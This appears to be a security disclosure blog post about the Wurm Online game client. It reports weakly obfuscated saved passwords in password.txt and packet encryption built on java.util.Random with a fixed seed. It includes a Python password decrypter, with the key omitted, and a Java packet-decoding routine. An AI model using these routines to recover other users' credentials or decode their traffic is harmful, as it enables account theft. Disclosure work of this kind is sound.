Introduction

Wurm Online is a MMORPG recently released on Steam, but has existed since 2012. Due to the Steam release I got interested in the game and proceeded to check out the security of the game.

What I discovered is two security issues regarding the client.

I tried to contact the vendor in july, but I didn’t get a response.

Weak protection of stored passwords on the client

If a user chooses to let the client remember the login credentials they are stored in the installation directory, which is by default %userprofile% on Windows. The password file is located at players/<player_name>/password.txt.

If the player_password value in this file is populated it is easy to decode the password as shown in the following python script (key omitted).

import getopt
import sys

def main(argv):
    print("Wurm Online Password Decrypter")
    pwd = ""

    try:
        opts, _ = getopt.getopt(argv, "p:", [])
    except getopt.GetoptError:
        usage()
        sys.exit(2)
    for opt, arg in opts:
        if opt == "-p":
            pwd = arg

    if pwd == "":
        usage()
        sys.exit(0)

    print("Password is:", decrypt(bytes(pwd, "utf-8")))

def usage():
    print("usage: pass_decrypt.py -p <encrypted_pass>")

def decrypt(password):
    key = bytes("<key omitted>", "utf-8")
    pwd_len = int(len(password) / 2)
    key_len = len(key)
    decrypted = bytearray(int(pwd_len))
    for index in range(0, int(pwd_len)):
        key_char_1 = key[index * 2 % key_len] & 0xff
        key_char_2 = key[(index * 2) + 1 % key_len] & 0xff
        password_char_1 = int(chr(password[index * 2]), 16) & 0xff
        password_char_2 = int(chr(password[(index * 2) + 1]), 16) & 0xff
        computed_password_value = password_char_1 << 4 | password_char_2
        decrypted[index] = computed_password_value - key_char_2 ^ key_char_1
    return decrypted.decode()

if __name__ == "__main__":
    main(sys.argv[1:])

Weak protection of network packets

Protection of network communication is using a homegrown protection routine based on java.util.Random with a predefined seed for both client and server. Using the predefined seed we can decode all packets using the following java code.

    private byte[] decrypt(byte[] packet) {
        ByteBuffer buf = ByteBuffer.wrap(packet);
        buf.flip();
        byte[] bytes = buf.array();

        for (int i = 0; i < packet.length; i++) {
            if (--this.remainingBytes < 0) {
                this.remainingBytes = this.rand.nextInt(100) + 1;
                this.xorByte = (byte) this.rand.nextInt(254);
                this.addByte = (byte) this.rand.nextInt(254);
            }
            bytes[i] = (byte) (bytes[i] ^ this.xorByte);
            bytes[i] = (byte) (bytes[i] + this.addByte);
        }

        return bytes;
    }